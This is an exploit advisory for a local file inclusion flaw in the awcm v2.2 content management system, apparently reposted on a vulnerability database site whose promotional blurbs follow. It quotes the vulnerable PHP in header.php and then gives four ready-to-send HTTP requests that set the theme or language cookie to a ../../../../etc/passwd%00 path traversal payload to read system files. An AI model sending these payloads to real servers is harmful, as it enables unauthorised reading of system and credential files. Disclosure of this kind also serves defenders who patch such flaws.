[+]Exploit Title: [awcm v2.2 final Local File Inclusion]
[+]Date: [26-01-2011]
[+]Author: Cucura , Ste@lth (Bl@ck_Falc0n)
[+]Software Link: [www.awcm-cms.com]
[+]Version: [v2.2]
[+]CVE : -
[+]Contact: Blackcucura[at]Gmail.com
http://sourceforge.net/projects/awcm/files/
-----------------------------------------------------------------
Vuln C0de in header.php
if(isset($_COOKIE['awcm_theme'])) {
$theme_file = $_COOKIE['awcm_theme'];
} else {
$theme_file = $mysql_maininfo_row['defult_theme'];
}
if(isset($_COOKIE['awcm_lang'])) {
$lang_file = $_COOKIE['awcm_lang'];
} else {
$lang_file = $mysql_maininfo_row['defult_language'];
}
-----------------------------------------------------------------
[+]Exploit: http://target/awcm/index.php
GET http://192.168.43.173/awcm/index.php HTTP/1.0
Cookie: awcm_theme=../../../../etc/passwd%00;
[+]Exploit: http://target/awcm/index.php
GET http://192.168.43.173/awcm/index.php HTTP/1.0
Cookie: awcm_lang=../../../../etc/passwd%00;
[+]Exploit: http://target/awcm/header.php
GET http://192.168.43.173/awcm/header.php HTTP/1.0
Cookie: awcm_lang=../../../../etc/passwd%00;
[+]Exploit: http://target/awcm/header.php
GET http://192.168.43.173/awcm/header.php HTTP/1.0
Cookie: awcm_theme=../../../../etc/passwd%00;
-----------------------------------------------------------------
Greetz : SpeeDr00t, ReDr0se, InsideJ , eidisky Bl@ck Falc0n Team
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation